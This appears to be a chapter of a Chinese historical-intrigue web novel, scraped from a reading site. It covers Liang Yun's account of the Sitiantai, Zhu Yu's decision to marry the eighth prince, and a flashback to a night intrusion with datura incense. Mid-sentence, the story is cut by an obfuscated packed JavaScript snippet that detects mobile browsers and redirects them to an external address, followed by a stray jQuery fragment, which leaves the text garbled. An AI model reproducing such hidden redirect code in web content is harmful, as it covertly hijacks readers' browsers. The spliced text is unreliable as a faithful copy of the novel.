屋内,橘叶点了檀香,木质香气散开,清幽宁静、静心安神。而接下来的话,却摄住人的心魄。
梁筠坐定,娓娓道来。
那时我还身在祝府,某日一个二十四五的瘦弱男子暗地里找上我,手拿一件铭文什物,说是母亲的遗物。还说母亲临终前留了话,要我必须跟他走。
我虽起疑,可遗物却是实实在在的,母亲死的蹊跷,我别无选择。
而后,我便被带到了司天台,瘦弱男人竟是第三任掌司纪聪。从那时起,我便被他当成下一任掌司培养。
起初我并不服管,只想知道母亲的死与遗物的秘密,可他却讳莫如深,只道我好好学习司天台事物,有朝一日必会告知。
逐渐的,我发现司天台秘密众多,似乎还与皇权勾结,师傅只说记住自己看到的,再多的也从不透露。
随着逐渐接手司天台事物,我发现此处并非只是观测星历、窥天占卜的地方,更是历朝历代圣上的左膀右臂,帮他们暗中处理上不得台面的事。
后来,我可以独当一面,师傅终于肯透露其中一二,他说,大霄开国以来,他是第三任掌司,而前两任掌司皆未活过而立之年,据传是窥探太多天机遭到反噬,可他却说,他们都是因知太多辛秘被灭口。
在外人看来,司天台历代相袭,可事实并非如此。自己同前两任一样,都是从死囚中选拔,更好控制。
他以为凭借自己的聪明才智,可以苟活过三十岁,可天不遂人愿,他将将满二十九,便撒手人寰,尸身还是我替他掩埋的。
而他死前匆匆,并未和我透露太多,本是想留一手以绝后患,不曾想如此快得归西。而他所有秘密,也一同掩埋在了黄土之下。
而今,我手里有的,只有他临终前留下的一剂丹方、一个母亲的遗物、一些看不懂的密语书信,以及司天台的一地狼藉。
……
五年的惊心动魄,被梁筠寥寥几笔带过,即便如此,祝余也能感受到其中的危机与不易。
想来这些年他杳无音讯,也是迫不得已,祝余心中嗟叹,未曾想真相竟是这样。
“可你并不知前三任掌司的图谋,既不存在灭口,又是何故遭人暗杀?”祝余提出了疑问,“又为何说是宫内势力呢?”
梁筠摇头道,“我并不知道他们刺杀的动机,遑论找人,根本无从查起。”说着,又从怀中掏出一块花纹独特的令牌递给祝余,“前些日子这伙人刺杀不成仓皇逃跑时,不小心遗落了这枚腰牌,看规格制式,是宫里的物件。”
祝余摩挲着令牌,上面花纹精美,雕工精巧,绝非出自百姓之手。
“那司天台的往来密信,是同谁的?能否破译呢?”祝余提出另一种可能。
梁筠叹气,“这些年来我也尝试破解,可内容繁复众多又毫无规律,也是无甚头绪。”
祝余沉思,能让只手遮天的梁筠都思虑烦扰,想来里面的水的确很深。
……
早春的风还带着些许凛冽,祝余起身将窗户掩上。少了风的喧嚣,一室寂静。
“麦冬,当初不辞而别,虽有苦衷但终究是我不对。”梁筠看着祝余眸色潋滟,他软生道歉。
祝余听到自己的乳名一怔,这个名字,自总角之年后便再无人唤起。
见祝余不应,梁筠接着说,“前些日子用伤口不愈来诓你,细想来,是我行事不周,还请海涵。”梁筠声音郑重,并非轻飘飘的随意道歉。
祝余虽气,但也明白他只是为了推自己一把,做最正确的选择,“无妨,以后有话直说便好。况且你的法子的确万无一失。”
梁筠看祝余松口,乘胜追击,“那八皇子的事……”
“嫁。”
梁筠心头一紧,忙问,“为何?你可想好?”语气中带着一丝不易察觉的焦躁。
“我应下,并非气话冲动之举,思虑再三,也唯有此法行之有效。”祝余面色淡然坚定,“我必须迈出这步。”
梁筠紧了紧眉,明明前阵子醉酒撒娇还说不想嫁,如今却如此理性,也他始料未及的。刚想说什么,又对上她那双明媚的眼睛。
“怎么?梁大人舍不得我了?”祝余将脑袋凑近眨了眨眼,笑容狡黠明亮。
梁筠被她的澄澈所撼,未曾想她竟然能如此大方地问出来,一时竟语塞不知如何应对。
而祝余只是一句调侃,也并未期待他的答案。经历劝嫁,心知梁筠对自己并无男女之情,只是因责任与关爱,让他一时不舍踟蹰。
祝余暗暗发誓,要将对他的情愫深埋心底,出嫁后,从此与他再无可能……
她敛了敛心意,铿锵道,“往后的日子,你我二人里应外合,一同筹谋,定能功有所成!”
窗外的风呼啸,一次次敲打着窗框,似是为祝余擂鼓助威。这一声声也锤在梁筠心头。
他闭了闭眼,嘴角溢出一抹浅淡的无奈,又带着几分无可辩驳的怅然,“好,就依你。”
见祝余如此坚定,橘叶一想到小姐要嫁给那样的人就有些难过,“大人可保证,护我们家小姐周全?”语气中带了些怨愤,“若往后如那夜一样……”
没头没尾的一句,梁筠隐约觉得还有什么他不知道的。橘叶见梁筠有意追问,便继续绘声绘色讲下去。祝余的思绪也回到了那夜。
那夜,祝迁头七……
祝府,正寢堂。一口油杉朱漆棺居于正中,素色帷幕围棺垂落,白绢魂帛置于灵桌案上。堂内只留一盏孤灯明明灭灭,灵桌右侧的铭旌看不真切,只依稀识得几个大字——户部侍郎祝迁之柩。
秋风呜咽,一次次打在紧闭的寝门上,黑暗中,祝余一双素手从单薄的白衫中伸出,从内抵住门,又紧了紧门闩。
水葱般细白的手指柔若无骨,指尖冰凉,微微泛红蜷缩着,在这样的天气里枯坐了不止一个时辰。
“小姐,回房就寝吧,这天怕是要下雨了”身后,橘叶稚嫩的声音中带着担忧。
“今日是父亲头七,我定要陪他。”祝余轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569455|204872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声却坚定的同橘叶道,“你去休息吧,不必陪我。”
风停了,夜死一般的寂静,而后雨至。
祝余素衣白裳,转头跪回灵位前的蒲团上,宽大的外袍显得她更加清瘦。
祝家人丁稀薄,母亲久病后遁出世外一心礼佛,作为独女,父亲走后她就是这个家的支柱,不敢露出丝毫的脆弱,唯有无人才敢暗暗落泪。
“父亲,您的死有蹊跷,女儿定查明真相,还您公道。”祝余在心中默念,暗暗攥紧手里父亲临行前留下的半块铭文龟甲。
雨愈发急了,颇有滂沱之势。
“滴答、滴答……”屋外雨打落在地面的声音异常清晰。可细细听来,却不像从房檐滴落,而像……
祝余猛然抬头,稳住身形不动,耳朵微动听这异常的雨滴声。
不,这不是雨声,上水从衣物滴落在地面的声音!屋外有人!
雨夜造访,定然来者不善,祝余按兵不动。
“噗——”极其轻微的一声响动从窗缝处传来。祝余鼻尖翕动,闻到了再熟悉不过的气味——是迷香曼陀罗。
早年间,母亲身弱,素来少眠多梦,唯有在每日的汤药中掺入少许的曼陀罗,才可安眠。曼陀罗毒性霸道,祝余怕仆从马虎,日日亲自给母亲添药,故对此气息十分熟稔。
堂内,曼陀罗香气更甚,祝余顺势俯倒在蒲团上,假意晕倒,实则默默闭气,期盼迷香快点散去。心中暗忖,府中如此安静,其余人等怕不是早就被迷香放倒了。
“呸,这天气真晦气!”见堂内人晕倒,屋外的黑衣人也不再掩饰,啐了一口,轻声咒骂起来。
“快离开这个鬼地方,我们还有正事要做。”说着又从门缝里看了一眼祝迁的牌位,头也不回往西奔去。
堂内,趴卧在蒲团上的祝余艰难地用手肘撑起身,踉踉跄跄挪到窗边。
“呼——”窗户洞开,雨水潮湿的气息夹杂着泥土的腥气扑面而来,祝余大口呼吸。暂缓片刻,便往后罩房跑去。
“橘叶,橘叶醒醒!”祝余用力摇晃。
“小,小姐,我怎么睡着了。”橘叶揉着眼睛,口齿不清。
“有歹人入府,来不及解释了,快去找侍卫!”祝余语气急促,“千万小心,切莫暴露自己!”
这伙人在父亲的头七之夜冒雨前来,究竟是何目的?他们口中所说的“有正事要做”又是什么?
祝余一刻不停,快步来到门口,俯下身细细查看歹人留下的痕迹。混乱的水渍中夹杂着几对脚印,显然是刚刚下迷香时留下的。
脚印旁有一处不起眼,但十分新鲜的泥渍,应是雨天路过花圃不慎沾染在衣摆或是裤脚上的。泥渍一路往西蔓延,逐渐清浅,直至消失在雨水中。
西侧……祝余沉思,府中西侧厢房常年空置,周遭除了柴房也并无重要陈设。
是药库!只有药库了!
祝余不再迟疑,将龟甲小心安置在里衣的口袋中,随后抄起斗笠,一头钻进雨幕里。